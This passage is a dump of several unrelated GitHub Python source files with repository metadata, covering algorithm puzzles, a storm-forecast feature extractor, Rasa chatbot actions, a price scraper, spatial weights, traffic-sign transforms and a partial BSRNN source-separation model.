+{"seq_id":"39799311754","text":"def rotate(board, query):\n    y_1, x_1, y_2, x_2 = query\n    start = board[y_1][x_1]\n    cand = [start]\n\n    for y in range(y_1, y_2):\n        cand.append(board[y+1][x_1])\n        board[y][x_1] = board[y+1][x_1]\n\n    for x in range(x_1, x_2):\n        cand.append(board[y_2][x+1])\n        board[y_2][x] = board[y_2][x+1]\n\n    for y in range(y_2, y_1, -1):\n        cand.append(board[y-1][x_2])\n        board[y][x_2] = board[y-1][x_2]\n\n    for x in range(x_2, x_1, -1):\n        cand.append(board[y_1][x-1])\n        board[y_1][x] = board[y_1][x-1]\n\n    board[query[0]][query[1] + 1] = start\n    return board, min(cand)\n\ndef solution(rows, columns, queries):\n    answer = []\n    board = [[c+(r*columns) for c in range(1, columns + 1)] for r in range(rows)]\n    for query in queries:\n        query = list(map(lambda x: x-1, query))\n        board, minimum = rotate(board, query)\n        answer.append(minimum)\n    return answer\n\nrows, columns, queries = 6, 6, [[2, 2, 5, 4], [3, 3, 6, 6], [5, 1, 6, 3]]\nprint(solution(rows, columns, queries))\n","repo_name":"cheol-95/Algorithm","sub_path":"re-start/015. 행렬 테두리 회전하기.py","file_name":"015. 행렬 테두리 회전하기.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23589387723","text":"import logging\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelBinarizer\r\npd.set_option('mode.chained_assignment', None)\r\n\r\n\r\nclass FeatureExtractor(object):\r\n    def __init__(self, len_sequences: int = 10):\r\n        self.dummy_field = [\"nature\", 'basin']\r\n        self.constant_fields = ['initial_max_wind']\r\n        self.scalar_fields = ['instant_t', 'windspeed', 'Jday_predictor',\r\n                              'max_wind_change_12h', 'dist2land']\r\n        self.spatial_fields = [\"u\", \"v\", \"sst\", \"slp\", \"hum\", \"z\", \"vo700\"]\r\n        self.scaling_values = pd.DataFrame(index=self.spatial_fields +\r\n                                           self.scalar_fields +\r\n                                           self.constant_fields,\r\n                                           columns=[\"mean\", \"std\"],\r\n                                           dtype=float)\r\n        self.binarizer = {}\r\n        self.len_sequences = len_sequences\r\n        self.num_dummy = 0\r\n\r\n    def make_sequence(self, X_df: pd.DataFrame, field: str,\r\n                      padding_value: int = -100) -> np.ndarray:\r\n        \"\"\"\r\n        Selects the field out of the dataframe X_df, and computes sequences of\r\n        length self.len_sequences for each storm. The padding value is used for\r\n        the beginning of the sequence.\r\n\r\n        Args:\r\n            X_df   (pd.DataFrame):   source DataFrame\r\n            field           (str):   name of the field to select\r\n            padding_value   (int):   value to fill at the begining of sequences\r\n\r\n        Returns:\r\n            np.ndarray:  Array of size (len(X_df), self.len_sequences)\r\n        \"\"\"\r\n        ids = X_df.stormid.unique()\r\n        f_data = X_df[[field, \"stormid\"]]\r\n        f_data[field] = (f_data[field] -\r\n                         self.scaling_values.loc[field, \"mean\"]) / \\\r\n            self.scaling_values.loc[field, \"std\"]\r\n        bloc = np.empty((len(X_df), self.len_sequences))\r\n        for id in ids:\r\n            ligne = f_data[f_data[\"stormid\"] == id][field]\r\n            seq_line = np.empty((len(ligne), self.len_sequences))\r\n            for i in range(self.len_sequences):\r\n                seq_line[:, self.len_sequences - 1 - i] = \\\r\n                    np.array(([padding_value] * i + list(ligne))[0:len(ligne)])\r\n            pos = list(X_df[\"stormid\"]).index(id)\r\n            bloc[pos:pos + len(ligne), :] = seq_line\r\n        return bloc\r\n\r\n    def bearing(self, line: pd.Series) -> float:\r\n        \"\"\"\r\n        Compute bearing in degrees for one line of dataframe\r\n\r\n        Args:\r\n            line   (pd.Series):  Row of dataframe with longitude, latitude,\r\n                                 longitude_before and latitude_before fields\r\n\r\n        Returns:\r\n            float: bearing in degrees\r\n        \"\"\"\r\n        if line.instant_t == 0:\r\n            lon1, lat1 = line[\"longitude\"], line[\"latitude\"]\r\n            lon2, lat2 = line[\"longitude\"], line[\"latitude\"]\r\n        else:\r\n            lon1, lat1 = line[\"longitude\"], line[\"latitude\"]\r\n            lon2, lat2 = line[\"longitude_before\"], line[\"latitude_before\"]\r\n\r\n        lon1, lat1, lon2, lat2 = map(np.radians, [lon1, lat1, lon2, lat2])\r\n        delta_lon = lon2 - lon1\r\n        x = np.sin(delta_lon) * np.cos(lat2)\r\n        y = np.cos(lat1) * np.sin(lat2) - \\\r\n            np.sin(lat1) * np.cos(lat2) * np.cos(delta_lon)\r\n\r\n        bearing = np.degrees(np.arctan2(x, y))\r\n\r\n        return bearing\r\n\r\n    def compute_bearing(self, X_df: pd.DataFrame) -> pd.DataFrame:\r\n        \"\"\"\r\n        Compute bearing in degrees for all the lines of a dataframe\r\n\r\n        Args:\r\n            X_df    (pd.DataFrame): source DataFrame\r\n\r\n        Returns:\r\n            pd.DataFrame:   transformed dataframe\r\n        \"\"\"\r\n        X_df[\"longitude_before\"] = X_df[\"longitude\"].shift()\r\n        X_df[\"latitude_before\"] = X_df[\"latitude\"].shift()\r\n        X_df[\"bearing\"] = X_df.apply(self.bearing, axis=1)\r\n        X_df[\"bearing_cos\"] = np.cos(X_df[\"bearing\"])\r\n        X_df[\"bearing_sin\"] = np.sin(X_df[\"bearing\"])\r\n        X_df.drop(\"bearing\", axis=1, inplace=True)\r\n        X_df.drop(\"longitude_before\", axis=1, inplace=True)\r\n        X_df.drop(\"latitude_before\", axis=1, inplace=True)\r\n        if \"bearing_cos\" not in self.scalar_fields:\r\n            self.scalar_fields += [\"bearing_cos\", \"bearing_sin\"]\r\n        return X_df\r\n\r\n    def cross_features(self, X_df: pd.DataFrame) -> pd.DataFrame:\r\n        \"\"\"\r\n        Compute features based on other features (differences, multiplications)\r\n\r\n        Args:\r\n            X_df   (pd.DataFrame):   source DataFrame\r\n\r\n        Returns:\r\n            pd.DataFrame:   transformed dataframe\r\n        \"\"\"\r\n        X_df[\"mw12_imw\"] = - X_df[\"max_wind_change_12h\"] * \\\r\n            X_df[\"initial_max_wind\"]\r\n        if \"mw12_imw\" not in self.scalar_fields:\r\n            self.scalar_fields.append(\"mw12_imw\")\r\n        X_df[\"diff_init_max\"] = X_df[\"initial_max_wind\"] - \\\r\n            X_df[\"max_wind_change_12h\"]\r\n        if \"diff_init_max\" not in self.scalar_fields:\r\n            self.scalar_fields.append(\"diff_init_max\")\r\n        X_df[\"diff_current_init\"] = X_df[\"windspeed\"] - \\\r\n            X_df[\"initial_max_wind\"]\r\n        if \"diff_current_init\" not in self.scalar_fields:\r\n            self.scalar_fields.append(\"diff_current_init\")\r\n        return X_df\r\n\r\n    def compute_aggregate_image(self, X_df) -> pd.DataFrame:\r\n        for field in self.spatial_fields:\r\n            f_cols = X_df.columns[X_df.columns.str.contains(field + \"_\")]\r\n            f_data = X_df[f_cols]\r\n            X_df = X_df.drop(f_cols, axis=1)\r\n            X_df[field] = np.nanmean(f_data, axis=1)\r\n            X_df[field].fillna(0, inplace=True)\r\n            if field not in self.scalar_fields:\r\n                self.scalar_fields.append(field)\r\n        return X_df\r\n\r\n    def fit(self, X_df: pd.DataFrame, y: np.ndarray = None) -> None:\r\n        \"\"\"\r\n        Calculates mean and std values for each field. Image fields are\r\n        regrouped before calculation.\r\n\r\n        Args:\r\n            X_df   (pd.DataFrame):   source DataFrame\r\n            y        (np.ndarray):   source target\r\n\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n        logging.info(\"Starting FeatureExtractor fit\")\r\n        self.scaling_values.loc[\"windspeed\", \"mean\"] = X_df[\"windspeed\"].mean()\r\n        self.scaling_values.loc[\"windspeed\", \"std\"] = X_df[\"windspeed\"].std()\r\n\r\n        X_df = self.compute_bearing(X_df)\r\n        X_df = self.cross_features(X_df)\r\n        X_df = self.compute_aggregate_image(X_df)\r\n        for field in self.scalar_fields:\r\n            self.scaling_values.loc[field, \"mean\"] = X_df[field].mean()\r\n            self.scaling_values.loc[field, \"std\"] = X_df[field].std()\r\n        for field in self.constant_fields:\r\n            self.scaling_values.loc[field, \"mean\"] = X_df[field].mean()\r\n            self.scaling_values.loc[field, \"std\"] = X_df[field].std()\r\n        for field in self.dummy_field:\r\n            self.binarizer[field] = LabelBinarizer()\r\n            self.binarizer[field].fit(X_df[field])\r\n            self.num_dummy += len(self.binarizer[field].classes_)\r\n        logging.info(\"Fitting FeatureExtractor done\")\r\n\r\n    def compute_scalar(self, X_df: pd.DataFrame) -> np.ndarray:\r\n        \"\"\"\r\n        Processes scalar features, by making sequences and flattens them.\r\n\r\n        Args:\r\n            X_df   (pd.DataFrame):   source DataFrame\r\n\r\n        Returns:\r\n            np.ndarray:   Array of size\r\n                        (len(X_df), self.len_sequences*len(self.scalar_fields))\r\n        \"\"\"\r\n        scalar = self.compute_bearing(X_df)\r\n        scalar = self.cross_features(scalar)\r\n        scalar = self.compute_aggregate_image(scalar)\r\n        scalar = scalar[self.scalar_fields]\r\n        scalar[\"stormid\"] = X_df[\"stormid\"]\r\n        final_scalar = np.empty((len(scalar), self.len_sequences,\r\n                                 len(self.scalar_fields)))\r\n        for field in self.scalar_fields:\r\n            bloc = self.make_sequence(scalar, field)\r\n            final_scalar[:, :, self.scalar_fields.index(field)] = bloc\r\n        norm_scalar = np.nan_to_num(final_scalar)\r\n        scalar_shape = self.len_sequences*len(self.scalar_fields)\r\n        result = np.reshape(norm_scalar, (len(X_df), scalar_shape))\r\n        logging.info(\"FeatureExtractor: scalar transform done\")\r\n        return result\r\n\r\n    def compute_constant(self, X_df: pd.DataFrame) -> np.ndarray:\r\n        \"\"\"\r\n        Processes constant featuresreshapes them. It also binarizes dummy\r\n        fields.\r\n\r\n        Args:\r\n            X_df   (pd.DataFrame):   source DataFrame\r\n\r\n        Returns:\r\n            np.ndarray:   Array of constant features\r\n        \"\"\"\r\n        norm_constant = X_df[self.constant_fields]\r\n        for field in self.constant_fields:\r\n            norm_constant[field] = (norm_constant[field] -\r\n                                    self.scaling_values.loc[field, \"mean\"]) / \\\r\n                self.scaling_values.loc[field, \"std\"]\r\n        norm_constant = norm_constant.values\r\n        for field in self.dummy_field:\r\n            dummy = self.binarizer[field].transform(X_df[field])\r\n            norm_constant = np.concatenate((norm_constant, dummy), axis=1)\r\n        result = np.copy(norm_constant)\r\n        logging.info(\"FeatureExtractor: constant transform done\")\r\n        return result\r\n\r\n    def transform(self, X_df: pd.DataFrame) -> np.ndarray:\r\n        \"\"\"\r\n        Processes all types of features and returns a flattened array. It is\r\n        a more standard format if we want to use libraries such as sklearn, but\r\n        the regressor will have to separate the different types of features in\r\n        the fit and predict\r\n\r\n        Args:\r\n            X_df   (pd.DataFrame):   source DataFrame\r\n\r\n        Returns:\r\n            np.ndarray:   Array of constant features\r\n        \"\"\"\r\n        logging.info(\"Starting FeatureExtractor transform\")\r\n        norm_scalar_final = self.compute_scalar(X_df)\r\n        norm_constant_final = self.compute_constant(X_df)\r\n\r\n        final = np.concatenate((norm_scalar_final,\r\n                                norm_constant_final), axis=1)\r\n        logging.info(\"FeatureExtractor transform done\")\r\n        return final\r\n","repo_name":"fxferlande/storm_forecast","sub_path":"model/model_scalar/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":10228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73365104694","text":"from rasa_sdk import Action\nfrom rasa_sdk.events import SlotSet\nimport random\n\n\nclass ActionCheckStatus(Action):\n\n    def name(self):\n        return \"action_check_status\"\n\n    def run(self, dispatcher, tracker, domain):\n        # return a random status, just a mockup\n        statuses = [\"received\", \"rejected\", \"interview\", \"unknown\"]\n        status = random.choice(statuses)\n\n        # get the name of the user from the slot\n        name = tracker.get_slot(\"name\")\n        if not name:\n            status = \"noname\"\n        return [SlotSet(\"status\", status)]\n\nclass ActionCheckPositions(Action):\n\n    def name(self):\n        return \"action_check_positions\"\n\n    def run(self, dispatcher, tracker, domain):\n        # return hard-coded open positions, this would normally come from an API\n        positions = {\n            \"technical\": [\n                \"Machine learning engineer\",\n                \"ML product success engineer\"\n            ],\n            \"business\": []\n        }\n        position_type = tracker.get_slot(\"role_type\")\n        technical_roles = [\"tech\", \"technical\", \"backend\", \"engineering\"]\n        any_roles = [\"any\", \"anything\"]\n\n        # Handle the synonymous slot values for position_type\n        if position_type in any_roles:\n            position_type = \"any\"\n            relevant_positions = positions[\"technical\"] + positions[\"business\"]\n        elif position_type in technical_roles:\n            position_type = \"technical\"\n            relevant_positions = positions.get(position_type, [])\n        else:\n            position_type = \"business\"\n            relevant_positions = positions.get(position_type, [])\n\n        # Handle the appropriate listing of the jobs in the response\n        if len(relevant_positions)<2:\n            relevant_positions = ''.join(relevant_positions)\n        elif len(relevant_positions) == 2:\n            relevant_positions = ' and '.join(relevant_positions)\n        else:\n            relevant_positions = ', '.join(relevant_positions[:-1]) + \" and \" + relevant_positions[-1]\n        return [SlotSet(\"positions\", relevant_positions), SlotSet(\"role_types\", position_type)]\n\n","repo_name":"bauyrjanj/recruiter-bot","sub_path":"actions/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35501321127","text":"from bs4 import BeautifulSoup\r\nimport requests\r\n\r\nurl = \"https://www.newegg.com/xfx-radeon-rx-6800-xt-rx-68xtalfd9/p/N82E16814150848?Description=amd%206800xt&cm_re=amd_6800xt-_-14-150-848-_-Product&quicklink=true\"\r\nresults = requests.get(url)\r\ndoc = BeautifulSoup(results.text, \"html.parser\")\r\nrandomtext = doc.find_all(text=\"$\")\r\nparent = randomtext[0].parent\r\nstrong = parent.find(\"strong\")\r\nprint(strong.string)","repo_name":"RahulUpase1/University","sub_path":"Random Projects/Website_parsing.py","file_name":"Website_parsing.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17707232051","text":"from ..libgeoda import gda_rook_weights \nfrom .weight import Weight\n\n__author__ = \"Xun Li <lixun910@gmail.com>\"\n\ndef rook_weights(geoda_obj, **kwargs):\n    '''Rook Contiguity Spatial Weights\n    Create a Rook contiguity weights with options of \"order\", \"include lower order\" and \"precision threshold\"\n    \n    Args:\n        geoda_obj (geoda): An instance of geoda class\n        order (int, optional): order of contiguity\n        include_lower_order (bool, optional):  whether or not the lower order neighbors should be \n            included in the weights structure\n        precision_threshold  (float, optional):  the precision of the underlying shape file is insufficient \n            to allow for an exact match of coordinates to determine \n            which polygons are neighbors\n\n    Returns:\n        Weight: An instance of Weight object\n    '''\n    order = 1 if 'order' not in kwargs else kwargs['order']\n    include_lower_order = False if 'include_lower_order' not in kwargs else kwargs['include_lower_order']\n    precision_threshold = 0.0 if 'precision_threshold' not in kwargs else kwargs['precision_threshold']\n    \n    gda_w = gda_rook_weights(geoda_obj.gda, order, include_lower_order, precision_threshold)\n\n    return Weight(gda_w)\n\n","repo_name":"GeoDaCenter/pygeoda","sub_path":"pygeoda/weights/rook.py","file_name":"rook.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"}
+{"seq_id":"10844700344","text":"from collections import deque\n\nn, k = map(int, input().split())\n\ncount = 0\nqueue = deque()\nqueue.append([n])\nvisited = set()\nwhile queue:\n    q2 = queue.popleft()\n    q = []\n    while q2:\n        now = q2.pop()\n        if now in visited:\n            continue\n        visited.add(now)\n        if now == k:\n            print(count)\n            exit()\n        if now - 1 >= 0:\n            q.append(now - 1)\n        if now + 1 <= 100000:\n            q.append(now + 1)\n        if now * 2 <= 100000:\n            q.append(now * 2)\n    queue.append(q)\n    count += 1","repo_name":"K1A2/algorithm_python","sub_path":"baekjoon/bfs_dfs/1697_숨바꼭질.py","file_name":"1697_숨바꼭질.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11708596704","text":"import PIL\nimport cv2\nfrom torchvision import transform \n\n\"\"\"The Contrast-limited adaptive histogram equalization (CLAHE for short) algorithm partitions the images into contextual regions and applies the histogram equalization to each one. This evens out the distribution of used grey values and thus makes hidden features of the image more visible. \"\"\"\n\nclass CLAHE_GRAY:\n    def __init__(self, clipLimit=2.5, tileGridSize=(8,8)):\n        self.clipLimit = clipLimit\n        self.tileGridSize = tileGridSize\n    def __call__(self,img):\n        img_y = cv2.cvtColor(img, cv2.COLOR_RGB2YCrCb)[:,:,0] #YCrCb Color-Space\n        # for Contrast Limited Adaptive Histogram Equalization\n        clahe = cv2.createCLAHE(clipLimit=self.clipLimit, tileGridSize=self.tileGridSize)\n        img_y = clahe.apply(img_y)\n        img_output = img_y.reshape(img_y.shape + (1,))\n       \n        return img_output\n\n\n\"\"\"\nThe 43 classes are not equally represented. The relative frequency of some classes is significantly lower than the mean. So, I built a jittered dataset by geometrically transforming(rotation, translation, shear mapping, scaling) the same sign picture. \n\"\"\"\ndef get_train_transforms():\n    return transforms.Compose([\n        transforms.ToPILImage(),\n        transforms.RandomApply([transform.RandomRotation(20, resample=PIL.Image.BICUBIC),\n                                transforms.RandomAffine(0,translate=(0.2, 0.2), resample=PIL.Image.BICUBIC),\n                                transforms.RandomAffine(0, shear=20, resample=PIL.Image.BICUBIC),\n                                transforms.RandomAffine(0, scale=(0.8, 1.2), resample=PIL.Image.BICUBIC)]),\n                                transforms.ToTensor()\n    ])\n\ndef get_test_transforms():\n    return transforms.Compose([transforms.ToTensor()])\n","repo_name":"simonazy/Self-Driving-Car-Engineer","sub_path":"P3 Traffic Sign Classifier(Pytorch)/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72177405812","text":"import torch\nimport torch.nn as nn\nfrom einops import rearrange\nfrom einops.layers.torch import Rearrange\nimport numpy as np\n# from pytorch_lightning import LightningModule\nfrom pytorch_lightning import LightningDataModule, LightningModule, Trainer\nimport torch.nn.functional as F\nimport sys\nsys.path.append('../')\nfrom metrics import new_sdr, museval_sdr, cmgan_snr\n\n\nEPS = torch.finfo(float).eps\n\"\"\"\nMain Model\n\"\"\"\nclass BSRNN(LightningModule):\n# class BSRNN(nn.Module):\n    def __init__(self, \n                 target_stem,                 \n                 sr,\n                 n_fft,\n                 hop_length,\n                 lr,\n                 batch_size,\n                 channels=2,\n                 num_band_seq_module=12,\n                 bands=[1000, 4000, 8000, 16000, 20000],  # Hz\n                 num_subbands=[10, 12, 8, 8, 2, 1],\n                 lr_decay=0.98,\n                 **kwargs):\n        super().__init__()\n        self.save_hyperparameters()  # pytorch_lightning\n        stem_list = ['mix', 'drums', 'bass', 'other', 'vocals']\n        stem_dict = {stem:i for i,stem in enumerate(stem_list)}\n        self.target_stem_idx = stem_dict[target_stem]\n        ## params\n        fc_dim = 128\n        group=16\n        \n        ### Modules\n        self.bandsplit_module = BandSplitModule(sr=sr, n_fft=n_fft, channels=channels, fc_dim=fc_dim, bands=bands, num_subbands=num_subbands)\n        self.bandseq_module = nn.Sequential(\n            *[BandSeqModelingModule(channels=channels, fc_dim=fc_dim, group=group, num_subbands=num_subbands) for _ in range(num_band_seq_module)]\n        )\n        self.maskest_module = MaskEstimationModule(sr=sr, n_fft=n_fft, channels=channels, fc_dim=fc_dim, bands=bands, num_subbands=num_subbands)\n        \n    def forward(self, wav):\n        ### Channels: mono or stereo??\n        # wav = rearrange(wav, 'b c t -> (b c) t', c=self.hparams.channels)\n        # wav: mixture (b, 2, t)\n        ###\n        wav = rearrange(wav, 'b c t -> (b c) t', c=self.hparams.channels)\n        spec = torch.stft(wav, n_fft=self.hparams.n_fft, hop_length=self.hparams.hop_length, window=torch.hann_window(self.hparams.n_fft).to(wav.device), return_complex=False)\n        # spec: ((b c), f, t, 2)\n        spec_ = rearrange(spec, '(b c) f t ri -> b f t (c ri)', c=self.hparams.channels, ri=2)\n        z = self.bandsplit_module(spec_)\n        q = self.bandseq_module(z)\n        mask = self.maskest_module(q)\n        cspec = torch.view_as_complex(spec)\n        cmask = torch.view_as_complex(mask)\n        est_cspec = cmask * cspec\n        est_wav = torch.istft(est_cspec, n_fft=self.hparams.n_fft, hop_length=self.hparams.hop_length, window=torch.hann_window(self.hparams.n_fft).to(wav.device)) #((b c) t)\n        est_spec = torch.view_as_real(est_cspec)  # ((b c) f t ri)\n        est_wav = rearrange(est_wav, '(b c) t -> b c t', c=self.hparams.channels)\n        # est_spec = rearrange(est_spec, '(b c) f t ri -> b c f t ri', c=self.hparams.channels)\n        return est_spec, est_wav\n\n    def training_step(self, batch, batch_idx):\n        # 'mix'+['drums', 'bass', 'other', 'vocals']\n        # batch = adjust_seq_len(batch, hop_length=self.hparams.hop_length)\n        # mix_wav = batch[:, 0]  # (b, channel, t)\n        # target_wav = batch[:, self.target_stem_idx]    \n            \n        mix_wav, target_wav = batch  # (b, 2, t), (b, 2, t)\n        batch_size = mix_wav.size(0)\n        mix_wav = adjust_seq_len(mix_wav, hop_length=self.hparams.hop_length)\n        target_wav = adjust_seq_len(target_wav, hop_length=self.hparams.hop_length)\n        \n        # mix_wav = rearrange(mix_wav, 'b c t -> (b c) t', c=self.hparams.channels)\n        target_wav_ = rearrange(target_wav, 'b c t -> (b c) t', c=self.hparams.channels)\n        \n        target_spec = torch.stft(target_wav_, n_fft=self.hparams.n_fft, hop_length=self.hparams.hop_length, window=torch.hann_window(self.hparams.n_fft).to(target_wav.device), return_complex=False)\n        est_spec, est_wav = self(mix_wav)  # est_wav: (b c t), est_spec:((b,c) f t ri)\n        \n        loss_spec = F.l1_loss(est_spec, target_spec)\n        loss_time = F.l1_loss(est_wav, target_wav)\n        loss = loss_spec + loss_time\n        \n        self.log(\"train_loss_spec\", loss_spec, on_step=True, on_epoch=True, prog_bar=False)\n        self.log(\"train_loss_time\", loss_time, on_step=True, on_epoch=True, prog_bar=False)\n        self.log(\"train_loss_total\", loss, on_step=True, on_epoch=True, prog_bar=True)\n\n        sdr = museval_sdr(ref=target_wav.contiguous().view(batch_size, -1, 2)+EPS,\n                          est=est_wav.contiguous().view(batch_size, -1, 2)+EPS,\n                          chunks=1,\n                          sr=44100)\n        snr = cmgan_snr(clean_speech=target_wav.contiguous().view(batch_size, -1, 2),\n                        processed_speech=est_wav.contiguous().view(batch_size, -1, 2))\n        \n        # return loss_total\n        return {\"loss_time\": loss_time, \"loss_spec\":loss_spec,\"loss\":loss,\n                \"sdr\": sdr, \"snr\": snr}\n    \n    def training_step_end(self, batch_parts):\n        pass\n    \n    def training_epoch_end(self, training_step_outputs):\n        print('#####training epoch end', training_step_outputs)\n        sdrs = []\n        snrs = []\n        for out in training_step_outputs:\n            sdrs.append(out['sdr'])\n            snrs.append(out['snr'])\n        sdr = np.mean(sdrs)\n        snr = np.mean(snrs)\n        self.log('train_sdr', sdr)\n        self.log(\"train_snr\", snr)\n        \n        return None\n    \n    \n    def validation_step(self, batch, batch_idx):\n        # batch = adjust_seq_len(batch, hop_length=self.hparams.hop_length)\n        # mix_wav = batch[:, 0]  # (b, channel, t)\n        # target_wav = batch[:, self.target_stem_idx]\n        mix_wav, target_wav = batch  # (b, 2, t), (b, 2, t)\n        mix_wav = adjust_seq_len(mix_wav, hop_length=self.hparams.hop_length)\n        target_wav = adjust_seq_len(target_wav, hop_length=self.hparams.hop_length)\n        \n        # mix_wav = rearrange(mix_wav, 'b c t -> (b c) t', c=self.hparams.channels)\n        target_wav_ = rearrange(target_wav, 'b c t -> (b c) t', c=self.hparams.channels)\n        \n        target_spec = torch.stft(target_wav_, n_fft=self.hparams.n_fft, hop_length=self.hparams.hop_length, window=torch.hann_window(self.hparams.n_fft).to(target_wav.device), return_complex=False)\n        est_spec, est_wav = self(mix_wav)\n        \n        loss_spec = F.l1_loss(est_spec, target_spec)\n        loss_time = F.l1_loss(est_wav, target_wav)\n        loss_total = loss_spec + loss_time\n        \n        ### Metrics, Estimated wav\n        # self.log_dict({\"valid_loss_spec\": loss_spec, \"valid_loss_time\": loss_time, \"valid_loss_total\": loss_total})\n        self.log(\"valid_loss_spec\", loss_spec, on_step=True, on_epoch=True, prog_bar=False)\n        self.log(\"valid_loss_time\", loss_time, on_step=True, on_epoch=True, prog_bar=False)\n        self.log(\"valid_loss_total\", loss_total, on_step=True, on_epoch=True, prog_bar=True)\n        # PossibleUserWarning: It is recommended to use `self.log('valid_loss_spec', ..., sync_dist=True)` when logging on epoch level in distributed setting to accumulate the metric across devices.\n        \n        batch_size = mix_wav.size(0)\n        # print('###BS: ', batch_size, target_wav.shape)\n        sdr = museval_sdr(ref=target_wav.contiguous().view(batch_size, -1, 2)+EPS,\n                          est=est_wav.contiguous().view(batch_size, -1, 2)+EPS,\n                          chunks=1,\n                          sr=44100)\n        snr = cmgan_snr(clean_speech=target_wav.contiguous().view(batch_size, -1, 2),\n                        processed_speech=est_wav.contiguous().view(batch_size, -1, 2))\n\n        # return loss_total\n        return {\"loss_time\": loss_time, \"loss_spec\":loss_spec,\"loss\":loss_total,\n                \"sdr\": sdr, \"snr\": snr}\n    \n    def validation_epoch_end(self, validation_step_outputs):\n        # print('#####' ,validation_step_outputs)\n        sdrs = []\n        snrs = []\n        for out in validation_step_outputs:\n            sdrs.append(out['sdr'])\n            snrs.append(out['snr'])\n        sdr = np.mean(sdrs)\n        snr = np.mean(snrs)\n        self.log('train_sdr', sdr)\n        self.log(\"train_snr\", snr)\n    \n    def test_step(self, batch, batch_idx):\n        pass\n    \n    def configure_optimizers(self):\n        optimizer = torch.optim.Adam(self.parameters(), lr=self.hparams.lr)\n        scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer=optimizer,\n                                                      lr_lambda=lambda epoch: self.hparams.lr_decay**(epoch//2))\n        return [optimizer], [scheduler]\n \n\n\"\"\"\nModules\n\"\"\"        \nclass BandSplitModule(nn.Module):\n    def __init__(self, \n                 sr,\n                 n_fft, \n                 channels=2, #stereo\n                 fc_dim = 128,\n                 bands=[1000, 4000, 8000, 16000, 20000],\n                 num_subbands=[10, 12, 8, 8, 2, 1],\n                ):\n        # V7 is best\n        # <1k: 100Hz bandwith / 1k~4k: 250Hz / 4k~8k: 500Hz / 8k~16k: 1kHz / 16k~20k: 2kHz / >20k: 1 subband. => 41 subbands. \n        super().__init__()\n        self.bands = np.array(_quantize_hz2bins(sr, n_fft, bands, num_subbands))  # len(self.bands)==42\n        assert len(self.bands)==sum(num_subbands)+1\n        self.band_intervals = self.bands[1:]-self.bands[:-1]\n\n        # self.ln_list = nn.ModuleList([nn.GroupNorm(1, band_interval) for band_interval in self.band_intervals])\n        # self.fc_list = nn.ModuleList([nn.Linear(band_interval, fc_dim) for band_interval in self.band_intervals])\n        self.layer_list = nn.ModuleList([\n            nn.Sequential(\n                nn.GroupNorm(1, band_interval),  # LayerNorm\n                # nn.LayerNorm(band_interval*channels), # with Rearrange('b f t c -> b t (f c)')\n                Rearrange('b f t c -> b t (f c)', c=2*channels),\n                nn.Linear(2*channels*band_interval, channels*fc_dim),\n                Rearrange('b t n -> b n 1 t')\n                )\n            for band_interval in self.band_intervals])\n        \n    def forward(self, cspec):\n        # cspec: (b, f, t, (channel, ri))  # mono or stereo\n        cspec_bands = [cspec[:, self.bands[i]:self.bands[i+1]] for i in range(len(self.bands)-1)]\n        outs = []\n        for cspec_band, layer in zip(cspec_bands, self.layer_list):\n            out = layer(cspec_band)\n            outs.append(out) # out:(b, n, 1, t)\n        outs = torch.cat(outs, dim=-2) # outs: (b, n, k, t)\n        return outs\n    \n\nclass BandSeqModelingModule(nn.Module):\n    def __init__(self,\n                 fc_dim,\n                 channels=2,\n                 group=16,\n                 num_subbands=[10, 12, 8, 8, 2, 1]):\n        super().__init__()\n        fc_dim = channels * fc_dim\n        group = channels * group\n        hidden_dim = fc_dim  # BLSTM -> hiddendim = fc_dim 에서 2곱해짐\n        num_total_subbands = sum(num_subbands)\n        self.blstm_seq = nn.Sequential(  # rnn across T\n            Rearrange('b n k t -> (b k) n t'),\n            nn.GroupNorm(num_groups=group, num_channels=fc_dim), # n/group\n            Rearrange('(b k) n t -> (b k) t n', k=num_total_subbands), # (batch, seq, hidden)\n            nn.LSTM(input_size=fc_dim, hidden_size=hidden_dim, batch_first=True, bidirectional=True), # out:(b, t, hidden_dim*2(bi))\n            ExtractOutput(),\n            nn.Linear(2*hidden_dim, fc_dim),\n            Rearrange('(b k) t n -> b n k t', k=num_total_subbands)\n        )\n        self.blstm_band = nn.Sequential(  # rnn across K\n            Rearrange('b n k t -> (b t) n k'),\n            nn.GroupNorm(num_groups=group, num_channels=fc_dim),\n            Rearrange('b_t n k -> b_t k n'),\n            nn.LSTM(input_size=fc_dim, hidden_size=hidden_dim, batch_first=True, bidirectional=True),  #out: (b, k, hidden_dim*2)\n            ExtractOutput(),\n            nn.Linear(2*hidden_dim, fc_dim)\n        )\n        \n    def forward(self, z):\n        # z: (b n k t)\n        z_hat = self.blstm_seq(z) + z\n        q = self.blstm_band(z_hat)\n        q = rearrange(q, '(b t) k n -> b n k t', b=z_hat.size(0))\n        q = q + z_hat\n        return q\n    \n\nclass MaskEstimationModule(nn.Module):\n    def __init__(self, \n                 sr,\n                 n_fft,\n                 channels=2,\n                 fc_dim = 128,\n                 bands=[1000, 4000, 8000, 16000, 20000],\n                 num_subbands=[10, 12, 8, 8, 2, 1],\n                ):\n        # V7 is best\n        # <1k: 100Hz bandwith / 1k~4k: 250Hz / 4k~8k: 500Hz / 8k~16k: 1kHz / 16k~20k: 2kHz / >20k: 1 subband. => 41 subbands. \n        super().__init__()\n        self.bands = np.array(_quantize_hz2bins(sr, n_fft, 